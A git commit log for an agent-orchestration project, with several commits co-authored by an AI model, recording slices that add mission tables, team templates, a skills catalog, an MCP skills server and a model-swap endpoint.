Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 14:34:26 -07:00
Omar SobhandClaude Opus 4.7 85a97dffca slice 3.5d: agent_template_link + brain seed helper + skills merge
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 38s
ci / rust (push) Failing after 3m1s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Ships the lineage layer that ties agents back to their team template
and wires the MCP skills server to actually merge template default
skills with per-agent overrides.

Migration 0050 adds `agent_template_link` (agent_id PK, template_id,
template_version, role_slot, seeded_at, created_at + indexes for
template/role lookups). Populated at agent-materialization time by
Slice 4's mission-launch orchestrator; read here by the skills MCP
server and by future level-up (Slice 8.5).

New Rust surface:
  - cm_db::repo::agent_template_link  (upsert / get / mark_seeded /
    agents_for_template — the last is what level-up's "prompt upgrade
    on template N+1" query needs)
  - cm_api::brain_seed::ingest(claw_id, seed_md, identity_prompt)
    opens cm_brain::ClawBrain on spawn_blocking, sets system_prompt
    on first touch, writes seed as agent_md, commits. Idempotent —
    skips when agent_md already populated.
  - cm_api::mcp_skills::mcp_skills tools/call now resolves the caller
    agent's template + role via agent_template_link and merges
    template default skills with per-agent overrides (was overrides-
    only in Slice 3.5b).
  - cm_api::team_template_loader now binds template_role_skills after
    upserting each template — looks up each declared skill by name,
    attaches with pin_in_context=true for foundation skills and the
    first two role skills. Missing skills log + skip.
  - Boot ordering: skills load BEFORE team templates so the binding
    lookup resolves.

Follow-up (Slice 4): mission-launch orchestrator calls brain_seed::ingest
+ agent_template_link::upsert when minting a team from a template.
Until that lands, the link is populated only by manual writes; the
MCP merge is silent-no-op for agents without a link (falls through
to overrides-only), which matches the pre-3.5d behavior.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 14:16:16 -07:00
Omar SobhandClaude Opus 4.7 7b23f61632 slice 3.5c: seed 15 built-in skills across the 6 stacks
ci / frontend (push) Successful in 25s
ci / gates (push) Successful in 4s
ci / rust (push) Failing after 3m41s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Hand-authored skill catalog anchored to real 2026-07 versions:
  - Rust 1.97.1 (stable), edition 2024
  - React 19.2.7, Server Components + Actions
  - TailwindCSS 4.3.3 (CSS-first config, Oxide engine)
  - three.js r185 (WebGPURenderer stable, BatchedMesh matured)
  - React Native 0.86 / Expo SDK 54+ (New Architecture default)
  - cargo-nextest 0.9.140, gitleaks 8.20+, cargo-audit 0.21+
  - Postgres 17 (18 in beta, don't rely on)
  - CUDA Blackwell, Metal Apple7+, ROCm CDNA3

Ships 15 skills across the categories:
  foundation/  workspace-repo-commit-protocol
               small-focused-commits
               tdd-red-green-refactor
               code-review-checklist
               int-xx-marker-protocol
               decompose-int-items
  rust/        write-rust-current-edition
               rust-error-handling
               cargo-test-driven-development
               rust-async-tokio-idioms
  backend/     postgres-migrations-forward-only
               postgres-index-selection
               api-pagination-day-1
  frontend/    react-19-server-components
               tailwind-v4-idioms
               component-4-state-model
  mobile/      expo-managed-vs-bare
               rn-flashlist-perf
  gpu/         gpu-coalescing-and-occupancy
               roofline-model
  threejs/     threejs-perf-and-teardown
  security/    cargo-audit-workflow
               secret-scanning-gitleaks

skills_loader.rs walks skills/**/*.md, parses YAML frontmatter
(name, description, when_to_use, tags), upserts via
skills_catalog::upsert_builtin. Idempotent per boot — bumps version
+ appends skill_versions row ONLY when body changes. Deterministic
sha256-derived ids so builtins are stable across boots.

Dockerfile copies skills/ to /etc/clawmates/skills. Server boot
task spawns loader alongside team_template_loader.

Follow-ups (Slice 3.5c continuation, future PRs):
  - 20-30 more skills (duckdb, shadcn composition, a11y, WebGPU
    migration, metal frame capture, rocprof, deep gitea forge
    integration, semgrep rulepacks)
  - Bind skills to team template roles (add [role.skills] refs to
    templates/teams/*.toml + wire template_role_skills population
    in team_template_loader)

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 13:55:44 -07:00
Omar SobhandClaude Opus 4.7 3524579c9a slice 3.5b: clawmates_skills MCP server
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 11s
ci / frontend (push) Successful in 25s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Exposes the skills catalog as MCP resources so agents can discover
+ read skill markdown on demand — the delivery half of the "skills
teach how to think, MCP gives ability to act" model.

New endpoint: POST /mcp/skills (parallel to the existing /mcp door).
Protocols supported:
  - initialize            — handshake, advertises resources + tools
  - resources/list        — one entry per skill visible to the caller's
                            workspace. URI scheme:
                              skill:global/<name>
                              skill:workspace/<ws>/<name>
                            description carries the skill's description
                            + when_to_use so the LLM can decide when
                            to reach for it.
  - resources/read {uri}  — returns body as text/markdown. Enforces
                            workspace scope on workspace-authored
                            skills.
  - tools/list            — one entry: skills__pinned_bundle
  - tools/call             — skills__pinned_bundle concatenates every
                            skill pinned for the calling agent (via
                            X-ZeroClaw-Agent header) with H1 headers.
                            Cheaper than N resources/read at turn start.

Adds the `clawmates_skills` bundle to the runtime template config
alongside `clawmates_door`, and teaches the MCP bearer rewriter
(prewrite_daemon_config_with_risk) to inject the workspace-owner
service session bearer on both `clawmates` and `clawmates_skills`
servers.

Follow-ups:
  - Slice 3.5c: seed ~40-60 builtin skills across the 6 stacks
  - Slice 3.5d: agent_template_link lineage — until it lands, the
    pinned_bundle tool can only surface per-agent overrides, not
    template defaults (documented inline)

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 13:20:56 -07:00
Omar Sobh ade04d24cb fmt
ci / gates (push) Successful in 5s
ci / frontend (push) Successful in 39s
ci / rust (push) Failing after 2m3s
ci / e2e (push) Skipped
ci / publish (push) Skipped
2026-07-19 13:04:34 -07:00
Omar Sobh f178e70620 fix: mount skills catalog at /api/skills-catalog to avoid legacy route conflict
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 12s
ci / frontend (push) Successful in 29s
ci / e2e (push) Skipped
ci / publish (push) Skipped
2026-07-19 13:03:14 -07:00
Omar SobhandClaude Opus 4.7 1153d72d00 slice 3.5a: skills catalog — the "how to think" layer
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 38s
ci / rust (push) Failing after 1m28s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Introduce the skills catalog: the second half of the two-layer agent
model (skills teach agents HOW to think about a problem; MCP servers
give them the ABILITY to act). Delivery via MCP resources lands in
Slice 3.5b; this slice ships the data model + API surface.

Migration 0049 extends the legacy `skills` table (from 0001_init.sql,
originally a workspace catalog of markdown snippets) with the richer
typing we need — name, when_to_use, tags, source_kind, current_version
— rather than duplicating tables. Also adds:
  - skill_versions       (version history for level-up promotions +
                          rollback; back-pointer via promoted_from
                          JSONB records agent_id / research artifact /
                          brain memory that produced it)
  - template_role_skills (m2m binding skills to team-template roles
                          with pin_in_context + order_idx)
  - agent_skills_ext     (per-agent overlay: include=true adds a skill
                          to the bundle; include=false prunes a
                          template default for this specific agent)

Rust surface:
  - cm_db::repo::skills_catalog with typed Skill/SkillVersion/
    AgentSkillBinding structs + upsert_builtin (idempotent — bumps
    version + appends to skill_versions ONLY when body changes) +
    list_visible/get/get_by_name reads + template + agent binding
    helpers + effective_for_agent (merges template defaults with
    agent overrides, applies exclude precedence, batch-fetches skill
    bodies)
  - cm_api::routes::skills_catalog with:
      GET /api/skills             — list visible
      GET /api/skills/{id}        — detail
      GET /api/claws/{id}/skills  — effective binding (accepts
        template_id + role_slot as query args to merge in template
        defaults)

Follow-ups:
  - Slice 3.5b: clawmates_skills MCP server exposes catalog as MCP
    resources, honoring pin_in_context for auto-injection
  - Slice 3.5c: seed ~40-60 builtin skills across the 6 stacks

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 13:00:56 -07:00
Omar Sobh ee675b976a fmt: apply cargo fmt to team template + loader
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 25s
ci / rust (push) Failing after 50s
ci / e2e (push) Skipped
ci / publish (push) Skipped
2026-07-19 12:42:39 -07:00
Omar SobhandClaude Opus 4.7 9ba5c06a1a slice 3: 6 team templates seeded from TOML recipes
ci / rust (push) Failing after 11s
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 28s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Team templates are the canonical rosters + tool bundles that mint
concrete teams for a mission. Every builtin ships as a TOML recipe
under templates/teams/*.toml, loaded into the DB at server boot.

Migration 0048 adds:
  - team_templates    (id, key, name, stack, default_topology,
                       risk_profile, mcp_bundles, version, source,
                       workspace_id)
  - template_roles    (m2m: template_id + slot; system_prompt,
                       skills[], brain_seed)
  - teams gets template_id + template_version for level-up lineage

Ships 6 builtins:
  - rust_sdlc  — planner/coder/tester/reviewer/committer for Rust
  - backend    — api_designer/db_engineer/coder/tester/committer
                 (Postgres, DuckDB, graph DBs, wire protocols)
  - frontend   — designer/coder/tester/committer (React + Tailwind + ShadCN)
  - mobile     — designer/coder/tester/committer (Expo, RN, iOS, Android)
  - gpu        — arch_analyst/kernel_author/bench_engineer/coder/committer
                 (CUDA, Metal, ROCm from Rust)
  - threejs    — scene_designer/coder/shader_author/perf_engineer/
                 committer (three.js, WebGL, WebGPU)

Each role has a versioned system_prompt + skill list + brain_seed
markdown. Skills column is a name array today; Slice 3.5a promotes it
to a typed m2m join with the real skills catalog.

Server boot:
  - team_template_loader::load_builtins reads TOML from
    /etc/clawmates/templates/teams (container) or templates/teams (dev),
    upserts idempotently. Deterministic uuid per template key (sha256
    of a fixed namespace + key) so ids are stable across boots.
  - Dockerfile copies templates/ to /etc/clawmates/templates.

Read API:
  - GET /api/team-templates       — list all
  - GET /api/team-templates/{id}  — detail with roles

Wizard:
  - Step 3 rewired from a raw team_id text field to a template picker
    with "LLM auto-provision" as the default option + one card per
    builtin, showing stack, topology, risk profile, and description.
  - Mission create now passes team_template_id (not team_id) so phase
    execution knows which template to mint from.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 12:41:15 -07:00
Omar SobhandClaude Opus 4.7 fbefc67878 slice 1: missions data model + migration
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 9s
ci / frontend (push) Successful in 25s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Introduce the unified `missions` tier that will replace the current
research_topics + loops split. This slice ships the data model +
backfill + skeleton REST surface; the old wizards keep working in
parallel until Slice 9's big-bang cutover.

Migration 0047 adds:
  - missions              (top-level workflow: template_kind + team +
                           schedule + status + config)
  - mission_phases        (ordered {research|coding|benchmark|
                           security_scan} phases per mission)
  - mission_tasks         (typed units of work, e.g. INT-XX cards,
                           UPSERT-keyed on (phase_id, external_id))
  - mission_artifacts     (MD/PDF/benchmark/security/diff files with
                           a pending queue for the PDF renderer worker)
  - benchmark_snapshots   (before/after pairs per iteration)

Backfill copies existing research_topics + loops rows into the new
tables as one-shot missions with the appropriate template_kind, so
Slice 2's UI can render the full history immediately.

New Rust surface:
  - cm_domain: MissionId, MissionPhaseId, MissionTaskId, MissionArtifactId
  - cm_db::repo::missions: Mission/MissionPhase/MissionTask/
    MissionArtifact structs + insert (txn-wrapped)/get/list/set_status/
    phases_for/set_phase_status/upsert_task/tasks_for/register_artifact/
    artifacts_for/next_pdf_pending/set_pdf_result
  - cm_api::routes::missions: skeleton list/create/get/set_status
    routes registered at /api/missions/*

Follow-up slices layer richer behavior (template dispatch, phase
execution, task parsing, artifact rendering) on this foundation.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 11:40:51 -07:00
Omar Sobh 6e37802f73 claws: PATCH /api/claws/{id}/model — swap the runtime-bound model
ci / frontend (push) Successful in 40s
ci / gates (push) Successful in 5s
ci / rust (push) Successful in 3m20s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m18s
Auto-provisioned agents (via the research + loops team wizard) show
up on the Agents page (same agents::insert → agents::roster path),
and PATCH /api/claws/{id} already handled name/job_title/system_prompt/
avatar/accent/wallpaper. The one thing that was NOT reachable from the
Agents page: swapping the model.

Add a dedicated endpoint:
- PATCH /api/claws/{id}/model { model: string }
- Persists via agents::set_model_binding (DB)
- Best-effort runtime rebind via RuntimeProvisioner::provision_claw
  (idempotent — overwrites agents.<alias>.model_provider on the
  shared ZeroClaw config)
- Audit-logged as 'agent.model_changed' with the new model in payload

Now an operator can open the Agents page, click a claw that was
auto-provisioned by the team wizard, and swap its model
(claude-sonnet-5 → glm-5.2 → whatever) without recreating the team.
Same DB row, same claw_id, same brain — just a new provider on the
next turn.

Frontend affordance not shipped in this commit — the endpoint is
usable via curl/psql/scripts today; a UI 'Model' picker on the claw
detail card can land in the next Agents-page pass.
2026-07-17 19:26:27 -07:00